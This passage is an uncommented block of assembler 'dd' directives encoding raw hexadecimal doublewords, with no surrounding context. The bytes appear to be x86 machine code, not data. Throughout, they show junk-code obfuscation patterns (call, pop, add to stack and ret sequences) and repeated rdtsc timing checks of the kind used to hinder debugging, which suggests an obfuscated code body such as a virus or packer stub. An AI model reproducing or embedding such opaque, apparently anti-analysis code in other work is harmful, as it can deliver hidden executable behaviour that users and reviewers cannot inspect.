		dd 0FAB70F00h, 830FD03Bh, 20h, 8E8h, 0A4BB9200h, 55C60194h
		dd 9D035349h, 60B1FC1h,	57E95F5Bh, 0BB000000h, 1B78E20h
		dd 0FFFF8D8Bh, 0BB66FFFFh, 0E183478Dh, 3F840F01h, 60000000h
		dd 9EDA8166h, 0C9B50941h, 61060B1Fh, 0FFFFA583h, 0E9FEFFFFh
		dd 12h,	0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 0BB664A7Ah
		dd 95892054h, 5F4C4C44h, 79D066BFh, 0E97Fh, 0B58D0000h
		dd 60F5F5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0CBC35141h, 8CB28925h, 2EA72CEAh, 19D8BE5h, 60060B33h
		dd 2E618D8Bh, 6A61060Bh, 0D4E38100h, 0FF4CC1CCh, 0B32DD95h
		dd 0FE8B6606h, 0FD8B9h,	13E900h, 0F13C0000h, 0C5DB623h
		dd 5A0DA5CDh, 87D206CAh, 44058050h, 0DAB8BF43h,	0E18324B3h
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 11E907EFh, 0DB000000h, 0E6A80BFAh, 0C85DDAE9h
		dd 0D6FE16C4h, 14CAC07Eh, 458D09FCh, 8B060B32h,	0B0E89BDh
		dd 0B806h, 9D890000h, 60B08D5h,	870FD22Bh, 6, 2939BD8Bh
		dd 0BD0B060Bh, 60B21C1h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 2A999D33h, 880D060Bh, 60000000h, 0BE81CB5h, 0FE000000h
		dd 1F11A9F6h, 0F18D271h, 9D89F6B4h, 60B0F09h, 958B6158h
		dd 60B174Dh, 4870Fh, 0BF660000h, 8D8BB585h, 60B0119h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A0C35040h, 62F0ABB8h
		dd 0BD89BA8Ch, 60B0965h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0E256BBC3h, 2425BD8Bh, 0FF8060Bh
		dd 687h, 959D0100h, 83060B12h, 0B29BDBDh, 840F0006h, 82h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C9C35141h
		dd 1AC5BD8Bh, 0B8060Bh,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D737C352h
		dd 0F217F3Eh, 8D8DDABFh, 60B4DD7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0F4C35242h,	77474EA5h, 6860FB5h
		dd 8B000000h, 0B26F99Dh, 80E1FF06h, 0BD832EE3h,	60B1009h
		dd 52840F00h, 0E8000004h, 0Fh, 25E51D28h, 982FF8A3h, 0C07830F4h
		dd 0FD00504h, 68Bh, 0D5958900h,	5F060B2Eh, 1009BD83h, 0F01060Bh
		dd 43F84h, 81858900h, 83060B0Ch, 0B1009BDh, 860F0306h
		dd 3F6h, 6A60F9h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 180424h, 56460000h, 93F24EC3h, 0B509C5D5h, 60B016Dh
		dd 29D98C66h, 0B0295BDh, 4E18006h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B0C35141h,	53AC1D99h, 3D6FB4F6h
		dd 0FC90A9Eh, 14384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0B70FFC53h, 7D858BD9h
		dd 6A060B31h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 8C57C352h, 890FB199h, 6, 0E459D8Bh
		dd 0BB66060Bh, 8533F09Ch, 60B06EDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0DBC35343h,	90AA4C6Bh, 9050D98Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 14C35343h
		dd 1B6608E9h, 0B70F006Ah, 0B79668F8h, 0B760C80Fh, 4816125h
		dd 0F4C6924h, 55006A38h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 64756FDCh, 0BF87BF47h, 9D293819h
		dd 60B3331h, 3D195FFh, 6A060Bh,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 727EF8C3h, 858943B3h
		dd 60EA81Dh, 8800Fh, 8F0F0000h,	2, 2EE96160h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0B6D9C351h, 803861FBh, 0D98B665Dh, 0A815858Bh
		dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 3AD5EC3h,	1A810FC6h, 60000000h, 0DE9h, 41BCD500h
		dd 0E76F3EC7h, 0B8372300h, 958B3878h, 60B0841h,	0D8B70F61h
		dd 1800C7h, 8D890000h, 60B28EDh, 0A819B58Bh, 0E381060Eh
		dd 6404B2CBh, 6E1858Bh,	840F060Bh, 6, 2711BD89h, 0BF66060Bh
		dd 6897F3Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	43C35747h, 0E2EDAF7Ch, 858B5EB6h, 60B317Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D4C35646h, 43BFE176h
		dd 9D2397B1h, 60B20C9h,	0E19D29h, 4689060Bh, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0DD83733Bh, 0C43DAD88h, 96F98BF5h, 0D40983BFh, 5157507Bh
		dd 310F5250h, 5B5B585Ah, 0CE996h, 0E52E0000h, 17644588h
		dd 6B3423CFh, 0B5FF7977h, 60EA815h, 0FAE3D781h,	8B66312Bh
		dd 4E8F9h, 3FF0000h, 0BE8001Fh,	86000000h, 9B54FFB4h, 6621085Ah
		dd 66517952h, 5B5BDF8Bh, 8B94B350h, 0E8042444h,	0Dh, 0A253B878h
		dd 7C883645h, 22523922h, 0F98B66BFh, 89008B5Fh,	60042444h
		dd 6890Fh, 52500000h, 585A310Fh, 5861C68Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4FC35040h, 3D731DD6h
		dd 29CF1DFAh, 2E65BD89h, 0BD89060Bh, 60B2A05h, 0A81D858Dh
		dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8BD983C3h, 0B31D5BDh, 8B665006h, 240489F9h
		dd 0FFD98B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 16058BCh, 4582BF1Ah
		dd 6A6156h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0C7090BC3h, 0B100985h, 306h, 0CFC78100h
		dd 833E179Bh, 0EA81DBDh, 840F0006h, 0Eh, 0E9DFB70Fh, 21h
		dd 1045BD89h, 3050060Bh, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0E9BB9814h, 6A62590Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 7F9DC353h, 0E573BB66h, 1009BD83h, 0F03060Bh,	44F85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 28048559h, 0B651AA7h, 6820F51h, 89000000h
		dd 0B211DBDh, 0BD835B06h, 60EA81Dh, 11840F00h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0C427C357h, 41A37C97h, 207DB589h,	0B5FF060Bh
		dd 60EA81Dh, 1F8B70Fh, 0B2A3195h, 3D95FF06h, 0E9060B08h
		dd 11h,	0CD1320CBh, 5848DA32h, 0C4D8B71Ch, 560CB026h, 11B58B3Dh
		dd 6A060EA8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0DBF3C353h, 0B00618B3h, 0D980D4ACh
		dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 519650C3h, 34BB505Fh, 96725F86h
		dd 0A81DB5FFh, 11E9060Eh, 0D3000000h, 46D35D07h, 7C801190h
		dd 8BD577Ah, 3DCE3AFAh,	64195FFh, 6A060Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 879F20C3h
		dd 0F5A1817h, 83h, 11B58B00h, 6A060EA8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 273FC355h
		dd 0EDCAABDAh, 0BD31CB4Fh, 60B12E1h, 121D858Bh,	12E8060Bh
		dd 2A000000h, 0D3FD29DDh, 9EC092E6h, 9A4FB6B5h,	7B68B72Ch
		dd 5F9BB77Dh, 0C48689h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0CCD363C3h, 52E7805Ch
		dd 174D958Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 452F7BC3h, 237F3031h, 4C283F5h
		dd 81DFB70Fh, 0E6A099CBh, 20508929h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0AEC35040h,	858D0523h, 60EBAEEh
		dd 0B88689h, 5F520000h,	6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 11682DC3h, 89EC5948h
		dd 0B28C99Dh, 1DB5FF06h, 8B060EA8h, 0B27359Dh, 1595FF06h
		dd 6A060B0Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0E58CC357h, 698F4CBEh,	9D8BBA17h
		dd 60B14E5h, 14840F96h,	0E9000000h, 0Fh, 0B4FD50DAh, 8739316Ch
		dd 0A9290181h, 508F9992h, 0CE9h, 9E491000h, 0A80EE55Ch
		dd 0EFA7E3D3h, 9D8B9687h, 60B1B79h, 0A81DB5FFh,	6A060Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 8F4481C3h, 0C51EAE51h, 9D03306Ch, 60B0405h, 0F595FFh
		dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD2936C3h, 60B0F59h, 2191BD83h, 0F00060Bh
		dd 3784h, 6E800h, 0EF10000h, 0D37EBBFCh, 14860Fh, 0FE90000h
		dd 50000000h, 9BC1493Dh, 24728E31h, 2ABD19B2h, 965F324Dh
		dd 50D88B66h, 0BC68F2BFh, 95019612h, 60B19B9h, 0A81DB5FFh
		dd 6A060Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0B2B821C3h, 1521BD8Bh, 95FF060Bh,	60B1281h
		dd 8E8h, 34F8C200h, 99136C6Eh, 5FAFB72Eh, 0A81DB5FFh, 6A060Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0EC0C26C3h, 212DBD23h, 95FF060Bh, 60B0B8Dh, 60FA8B66h
		dd 0BEC2B70Fh, 1795698Ch, 0F1BD8361h, 2060B17h,	77840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0E1BA11C3h, 69F9119Bh, 2EC5858Bh,	6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0DF2FF5C3h, 10595475h, 0C6DBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0DEC35141h,	2C5C17EBh, 89E85691h
		dd 0B2F5195h, 0B985C706h, 60B06h, 0BB000000h, 2EA175C1h
		dd 0FFF375E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 6850F20h, 89000000h, 0B18999Dh
		dd 6AC18B06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 15C7C355h, 8D8DB337h, 0B28A985h
		dd 719D8B06h, 50060B20h, 0EE8h,	0BFFD9D00h, 8AEC0D4Fh
		dd 0C500B961h, 5F26E09Eh, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2949C355h
		dd 6A07A1h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ah,	0EDC35040h, 0C3E5CB4Fh,	6A0884h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 71C35141h, 0FFA8BFCh
		dd 681h, 0D99D8B00h, 8D060B2Eh,	0FF1D185h, 0EFD38006h
		dd 905C083h, 0B022985h,	8B669006h, 0FB8B50FAh, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 551BC3A2h, 0BD8BBECCh, 60B1ECDh, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 82CE79C3h
		dd 86DFAAFEh, 89958903h, 6A060B12h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 47C031F5h
		dd 0FC93AB49h, 13E9h, 0CDEA000h, 7D5E9104h, 0B090FF10h
		dd 0B237CD36h, 7A7F319Ah, 2F2195FFh, 6A060Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0F3BC1FC3h
		dd 0B368BF00h, 8D8D5B52h, 60EA7B0h, 0FFFFB70Fh,	19BF66D1h
		dd 19BD8399h, 1060B0Bh,	0B7850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4C171BC3h
		dd 0DF8B66B6h, 18E59589h, 26A060Bh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0D0C35040h,	163F6C3Ah, 2EB997D7h
		dd 15D99D8Bh, 0EF81060Bh, 26A0D368h, 0C8BB6690h, 5250503Eh
		dd 0DE8h, 89B9C800h, 1DE0BBDEh,	62F880ADh, 61601F04h, 60310F5Fh
		dd 21C2D0BAh, 4B96636h,	585A6115h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 5804B534h
		dd 334AA798h, 0FF18D89h, 95FF060Bh, 60B0F15h, 0CB7E9FCh
		dd 0E80000h, 5D000000h,	0F1DBED81h, 6A060Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FBBF09C3h
		dd 5679D7F8h, 9D8B6040h, 60B23F5h, 5498BF66h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1CC35545h, 0C19221FCh
		dd 56540C0Eh, 93858D35h, 6A060E92h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0DD9BC355h
		dd 8C7BA9D0h, 0F82A467Dh, 0BF7FCB80h, 6519ABF1h, 50D98B90h
		dd 1A8B0Fh, 12E80000h, 0D9000000h, 0AF6C8A19h, 5A42239Dh
		dd 0C6EFC049h, 0FEAD1B3Bh, 5B6160A3h, 8E990h
		dd 49AC0000h, 0E2FB7992h, 0FF6460C4h, 35h, 0EEB96000h
		dd 0F65B91Dh, 381h, 0F78B6600h,	25896461h, 0
		dd 13399D8Bh, 85FF060Bh, 60B066Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0C7C35040h,	21179651h, 0FF6AC85Bh
		dd 1F8DB5FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8D8958C3h, 60B0CA1h, 241195FFh
		dd 1BE9060Bh, 8B000001h, 0E600B0FBh, 0A03EBB70h, 71E42450h
		dd 0FE9h, 9C412300h, 0B32535B9h, 7C74E5A2h, 7A1A3AEEh
		dd 830F613Ch, 0F2h, 2AC9BD89h, 0B60F060Bh, 0D78166C8h
		dd 6BA4768h, 0E8000000h, 8, 0A0043D6Dh,	0A571E824h, 721BF66h
		dd 0FC18B5Bh, 380h, 0FFB70F00h,	8B04E8C1h, 0B33819Dh, 0E2F76606h
		dd 840Fh, 0C82B0000h, 12219D09h, 0D18B060Bh, 0B658589h
		dd 9BE9060Bh, 66000000h, 0D6D8F781h, 2EC1BD8Bh,	858B060Bh
		dd 47554C50h, 0CFDD81BFh, 7C08307h, 0BF0F6051h,	0D8529CBh
		dd 61060B0Ch, 0C0835Fh,	3BDE8B66h, 16830FD0h, 0F000000h
		dd 681h, 0BD9D8900h, 0E9060B27h, 56h, 0D2C38166h, 0FF8D8B23h
		dd 60FFFFFFh, 371DF3BAh, 61FB8B61h, 0F01E183h, 3984h, 259D8B00h
		dd 83060B2Eh, 0FFFFFFA5h, 8B0FFEFFh, 15h, 0F870Fh, 0AE90000h
		dd 0A7000000h, 641D2181h, 0DFCAAD6Fh, 50958966h, 2947554Ch
		dd 0B21BD85h, 0E906h, 0B58D0000h, 60F6F34h, 6AF88Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 27C35242h, 723295A1h
		dd 5D9082A0h, 89F48A60h, 0B06E995h, 0DE8B6106h,	32DD95FFh
		dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 781947C3h, 0BB3D3AE3h, 332D9D89h,	0F1B9060Bh
		dd 6A00000Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 1A7BC356h, 0E918529h, 0E183060Bh
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 290ECF4Ch, 0B2EE185h, 9D0BFC06h,	60B103Dh
		dd 0D22BC02Bh, 0B42006BFh, 0C233AD64h, 0D003E8D1h, 7504E983h
		dd 0E38166F4h, 0FA8BF8DAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0E0C35343h, 78EB894Ch, 4D4D8775h, 1A199D89h
		dd 880D060Bh, 3000000h,	0B2E659Dh, 4D958B06h, 6A060B17h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 3ACAC351h, 8B00BBBEh, 0B04E99Dh, 198D8B06h
		dd 0BB060B01h, 3F44CDE3h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 8D895818h, 60B03F5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 47C35545h, 9D8BD4F1h, 60B01F1h
		dd 29BDBD83h, 0F00060Bh, 7684h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 18EFF2B2h
		dd 4D765882h, 12E9h, 0C6174500h, 0D99B2993h, 0ED8C8BBFh
		dd 3E4A2831h, 0B82E3F74h, 0
		dd 2491BD33h, 8D8D060Bh, 60B4DD7h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 52C35747h, 632CE645h, 2CAD3158h
		dd 8CBFE1FFh, 83605782h, 0B1009BDh, 840F0006h, 3B1h, 0DF98D89h
		dd 0BD83060Bh, 60B1009h, 0B9840F01h, 6A000003h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 4A6CC357h, 0BD83584Ah, 60B1009h, 57860F03h, 6A000003h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 9CDAC357h, 559D89E8h, 60060B17h, 0EE06B4BFh
		dd 0D98C6638h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	43C35646h, 0DF36B25Bh, 29064432h, 0B04C18Dh, 4E18006h
		dd 60CCBB66h, 0BE9h, 14B8E300h,	9DEE097Bh, 0B6C03AECh
		dd 840FC90Ah, 129h, 1265BD2Bh, 858B060Bh, 60B317Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 45C35343h, 8C1B2CBEh
		dd 0B690DB81h, 853332EEh, 60B06EDh, 33C19D8Bh, 6050060Bh
		dd 0D38B6660h, 0C4F6BA66h, 0D38B6661h, 24048961h, 13FD9531h
		dd 6A060Bh, 13E8h, 0BE761B00h, 8DB4ADFh, 8909DC58h, 0E468BA8Eh
		dd 0BA26DEFAh, 80F38166h, 4E85B00h, 0FF000000h,	0E9001F03h
		dd 0Dh,	622B7811h, 9D46F645h, 0DA8FE7F4h, 60605003h, 310F5250h
		dd 850F585Ah, 0
		dd 448B6161h, 52500424h, 0BF56310Fh, 68225513h,	8B585A5Fh
		dd 0C4B0BF00h, 4489528Bh, 11E80424h, 34000000h,	91E77692h
		dd 693A27DFh, 0DFC42FD4h, 7236EFB0h, 9E8h, 3B319E00h, 2537662Ch
		dd 0BB660C3Dh, 5F5BED17h, 0FFCB8058h, 3D195FFh,	0BF66060Bh
		dd 85899D65h, 60EA81Dh,	2BEB8166h, 185E90Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0D8237C3h, 4F03D01h,	15858BB5h, 66060EA8h, 0C7D88Bh
		dd 18h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 53C35040h, 81BD8BA3h, 8B060B24h, 0EA819B5h, 5DBD8B06h
		dd 8B060B28h, 0B06E185h, 19D8B06h, 89060B22h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0CD99C0C3h, 42A979D0h, 0BB59D29h, 858B060Bh,	60B317Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D4C35646h
		dd 0C60F3AC5h, 0FA8B66DBh, 6A044689h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0BA34C356h
		dd 96E966B6h, 0CE9h, 61414E00h,	221C35C6h, 33E3FF99h, 20BF5032h
		dd 9662919Ch, 6880Fh, 0B5890000h, 60B021Dh, 0A815B5FFh
		dd 0FA8B060Eh, 0B4B268h, 0DFBB6691h, 240481E1h,	6F1E4F4Dh
		dd 1D858DF5h, 50060EA8h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0CFC4C350h
		dd 23F5BD89h, 0BF66060Bh, 95FFDAE0h, 60B03D1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1FC35343h, 0CE0FB28Ah
		dd 63F27E78h, 33259D09h, 61F5060Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0D0C35545h,	9842A979h, 5A293D1h
		dd 0D327BB2Eh, 85C711E7h, 60B1009h, 3, 129D9D0Bh, 0BD83060Bh
		dd 60EA81Dh, 0F840F00h,	66000000h, 22E9F88Bh, 0B3000000h
		dd 1EC4BF12h, 30506A81h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 74B843F8h, 300698C1h
		dd 9DBD89F9h, 6A060B0Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0B559C353h,	0A9527617h
		dd 2040B6BFh, 66B2BF26h, 13E94C91h, 0E2000000h,	0EC583849h
		dd 3295A127h, 9082A072h, 0B1B8765Dh, 0BD83097Eh, 60B1009h
		dd 0CF850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 86CCC353h, 8E0F2B22h
		dd 2, 0BD83D98Ah, 60EA81Dh, 9B840F00h, 0F9000003h, 0A81DB5FFh
		dd 8166060Eh, 0FF324AF3h, 0B083D95h, 0B58BF806h, 60EA811h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h
		dd 0C7A41743h, 1000106h, 99D8900h, 50060B0Dh, 0FCC2BF66h
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4019C355h, 0B06591CDh,	0C02E28B5h
		dd 3D4FF381h, 0B5FF2893h, 60EA81Dh, 68B0F52h, 8B000000h
		dd 0B18FDBDh, 95FF5B06h, 60B0641h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 8CC35242h, 0A4CA7045h, 0C18589C5h
		dd 8B060B2Eh, 0EA811B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 507EE667h, 16899D8Bh
		dd 665F060Bh, 0DA6CE381h, 121D858Bh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E7813AC3h
		dd 853F76Ah, 0C48689h, 0B70F0000h, 4D958BD9h, 66060B17h
		dd 7F2DEB81h, 0E804C283h, 13h, 0F00750E4h, 750E44Eh, 50E44EF0h
		dd 0E44EF007h, 0BFF00750h, 0CBA6F13h, 2050895Fh, 0EE9h
		dd 0B9F83D00h, 2D838359h, 5A0556A4h, 8161B3D2h,	0FEC79CF3h
		dd 0EE858D33h, 6A060EBAh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8BD1C356h, 0B2A3DBDh
		dd 0B8868906h, 0F9000000h, 8166006Ah, 0FF0B28E7h, 0EA81DB5h
		dd 79BD8B06h, 0E9060B06h, 0Fh, 3D509AABh, 319BC149h, 0B224728Eh
		dd 0FF2ABD19h, 0B0F1595h, 50DF8B06h, 810F5250h,	2, 310F0BB7h
		dd 38AD19BFh, 89585A06h, 8B602434h, 68E0FDAh, 89000000h
		dd 0B23F5BDh, 0B5FF6106h, 60EA81Dh, 33C1BD29h, 8A0F060Bh
		dd 6, 2F498589h, 95FF060Bh, 60B00F5h, 4458EB81h, 0CE97595h
		dd 43000000h, 0DDF04C19h, 60D167h, 83FA64A2h, 0B2191BDh
		dd 840F0006h, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 22C35242h, 9E9EC69h, 0CB000000h, 0D78B2808h
		dd 0CC8DCC32h, 50DE8B96h, 10870Fh, 0BE90000h, 0E7000000h
		dd 7BD3E0D1h, 406561FEh, 6A969319h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0FB22C353h
		dd 9BD8B3Dh, 0FF060B23h, 0EA81DB5h, 0DA8B6606h,	128195FFh
		dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CCD5E8C3h, 0B93C863Eh, 8C0F2915h, 6, 661BD23h
		dd 0B5FF060Bh, 60EA81Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 21C35242h, 85953152h,	5B060B22h, 0B8D95FFh
		dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0DCAE7FC3h, 0E6541C07h, 29E1549Dh, 0B2D9195h
		dd 0F1BD8306h, 2060B17h, 28840Fh, 9D8B0000h, 60B0DDDh
		dd 8BF88B66h, 0B2EC585h, 0BE906h, 0FA300000h, 38CA8C92h
		dd 0B0E8DDA3h, 0C67Eh, 3899589h, 85C7060Bh, 60B06B9h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C3C35545h
		dd 0AD57EA79h, 9D8BDB82h, 60B1659h, 2E59BD8Bh, 67E9060Bh
		dd 89FFFFF4h, 0B059DBDh, 81C18B06h, 0C01BD4D7h,	0A9858D54h
		dd 31060B28h, 0B16619Dh, 8B669006h, 0DE8B50F8h,	75BD8990h
		dd 6A060B21h, 0C99D8900h, 6A060B26h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 108B9368h
		dd 8E858Dh, 6A0610h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0FC7161C3h, 0FBF1424h, 833FF8B3h
		dd 958905C0h, 60B1A4Dh,	50525090h, 14E952h, 0D2710000h
		dd 0F6B40F18h, 0A860A957h, 4E382E5h, 0BE97E67Eh, 310F330Eh
		dd 6C3345BBh, 0F585A1Ah, 5E931h, 6BD30000h, 5A10DFE4h
		dd 14E85058h, 0A2000000h, 0D1A6C9C9h, 0B51A5711h, 0CEAE810Ah
		dd 47E32E9h, 0E9BABE2Bh, 9, 0A922CC39h,	0A13BD485h, 60905FE1h
		dd 29D99533h, 0F080060Bh, 6A61D9h, 0E856006Ah, 3, 5EC35E20h
